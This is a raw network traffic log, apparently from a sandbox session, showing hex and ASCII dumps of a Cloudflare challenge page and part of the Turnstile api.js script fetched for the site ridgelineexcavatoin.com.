2024-04-18 21:05:32 UTC	423	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 46 57 64 38 4a 4c 30 44 37 32 68 33 4d 67 76 46 47 39 39 76 62 47 5a 63 58 48 63 75 72 55 73 66 34 70 46 31 4a 6b 4e 69 73 4e 67 57 73 4f 67 67 6a 43 67 53 58 70 62 4e 47 6d 44 4b 37 45 67 50 45 6c 25 32 46 69 38 63 6a 67 39 67 48 4a 4b 42 78 59 46 6d 71 5a 5a 43 31 49 52 79 61 39 52 75 5a 49 68 54 39 46 49 51 37 65 37 33 72 68 48 67 71 62 57 65 7a 75 34 52 38 66 39 41 6b 62 42 25 32 42 6e 76 54 25 32 42 35 32 25 32 46 38 6d 42 59 32 51 71 6d 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FWd8JL0D72h3MgvFG99vbGZcXHcurUsf4pF1JkNisNgWsOggjCgSXpbNGmDK7EgPEl%2Fi8cjg9gHJKBxYFmqZZC1IRya9RuZIhT9FIQ7e73rhHgqbWezu4R8f9AkbB%2BnvT%2B52%2F8mBY2QqmQ%3D%3D"}],"group":"cf-nel",
2024-04-18 21:05:32 UTC	1025	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 Data Ascii: 3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPS
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 62 32 30 66 30 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 Data Ascii: t-red{color:#b20f03}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGV
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 65 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: e}body.light .lds-ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 74 3b 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d Data Ascii: t;color:#0051c3;text-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.m
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e Data Ascii: 5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challen
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d Data Ascii: to;max-width:60rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 3a 62 6c 6f 63 6b 7d 7d 2e 72 74 6c 20 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 Data Ascii: :block}}.rtl .heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 5f 48 4c 4a 5a 62 73 31 66 70 4a 46 70 72 31 6e 5a 69 33 5a 4b 50 79 58 54 51 66 58 36 5f 70 5a 35 56 56 38 67 35 4e 50 5f 54 78 4f 37 38 43 39 64 61 34 5a 54 5f 68 30 30 4f 6a 41 35 38 58 4c 43 36 59 7a 33 50 49 69 56 51 65 5f 42 36 70 43 6d 57 55 4e 6e 56 4e 4d 63 39 74 31 70 74 4e 6d 39 44 56 41 67 4c 5a 6b 67 38 57 62 69 68 41 4d 51 55 4b 32 6f 72 61 30 33 6e 53 7a 57 5f 69 6f 37 58 63 57 74 51 76 6b 34 6a 4f 6b 53 6b 71 31 46 5f 4f 6b 52 65 4c 44 72 33 74 6d 66 5f 34 6e 6c 57 72 43 6f 42 37 41 6f 6e 4e 39 69 76 77 48 6f 32 30 61 65 62 4f 6e 30 42 33 77 4e 35 37 69 43 47 56 58 31 75 67 33 6d 43 70 63 7a 30 78 79 78 38 63 6f 53 32 4d 73 6a 62 67 43 45 36 64 6c 53 48 6b 57 6c 35 5f 38 5f 69 56 75 2e 4c 7a 76 76 74 72 32 6e 5f 6b 6a 76 6c 48 57 36 75 35 Data Ascii: _HLJZbs1fpJFpr1nZi3ZKPyXTQfX6_pZ5VV8g5NP_TxO78C9da4ZT_h00OjA58XLC6Yz3PIiVQe_B6pCmWUNnVNMc9t1ptNm9DVAgLZkg8WbihAMQUK2ora03nSzW_io7XcWtQvk4jOkSkq1F_OkReLDr3tmf_4nlWrCoB7AonN9ivwHo20aebOn0B3wN57iCGVX1ug3mCpcz0xyx8coS2MsjbgCE6dlSHkWl5_8_iVu.Lzvvtr2n_kjvlHW6u5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49752	104.17.2.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:31 UTC	590	OUT	GET /turnstile/v0/g/54ea73d52131/api.js?onload=lmgW1&render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ridgelineexcavatoin.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:32 UTC	340	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:32 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 87679d0fdd8c139a-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:32 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach(funct
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,u,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m[Symbo
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 76 61 72 20 44 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 44 7c 7c 28 44 3d 7b 7d 29 29 3b 76 Data Ascii: me parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;function N(e,r){return e.indexOf(r)!==-1}var D;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(D\|\|(D={}));v
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 Data Ascii: ng"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return N(["a
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 65 28 65 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 4e 65 28 29 3f 78 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 78 65 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 73 2c 6d 29 7b 76 61 72 20 62 3d 5b 6e 75 6c 6c 5d 3b 62 2e 70 75 73 68 2e 61 70 70 6c 79 28 62 2c 73 29 3b 76 61 72 20 68 3d 46 75 6e 63 Data Ascii: (typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function xe(e,r,t){return Ne()?xe=Reflect.construct:xe=function(u,s,m){var b=[null];b.push.apply(b,s);var h=Func
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 6b 65 28 73 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 73 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 73 2e 63 6f 64 65 3d 75 2c 73 7d 72 65 74 75 72 6e 20 74 7d 28 4c 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 59 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 Data Ascii: ke(s),"code",void 0),s.name="TurnstileError",s.code=u,s}return t}(Le(Error));function v(e,r){var t="[Cloudflare Turnstile] ".concat(e,".");throw new Yt(t,r)}function _(e){console.warn("[Cloudflare Turnstile] ".concat(e,"."))}function be(e){return e.starts
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 53 29 29 3b 69 66 28 21 55 29 7b 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 7c 7c 28 5f 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 57 69 64 67 65 74 20 22 2e 63 6f 6e 63 61 74 28 53 2c 22 2c 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6d 6f 76 65 28 29 20 74 6f 20 63 6c 65 61 6e 20 75 70 20 61 20 77 69 64 67 65 74 2e 22 29 29 2c 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 3d 21 30 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 28 64 2e 69 73 45 78 65 63 75 74 69 6e 67 7c 7c 21 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 7c 7c 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 21 64 2e 69 73 53 74 61 Data Ascii: .concat(S));if(!U){d.watchcat.missingWidgetWarning\|\|(_("Cannot find Widget ".concat(S,", consider using turnstile.remove() to clean up a widget.")),d.watchcat.missingWidgetWarning=!0);continue}if((d.isExecuting\|\|!d.isInitialized\|\|d.isInitialized&&!d.isSta
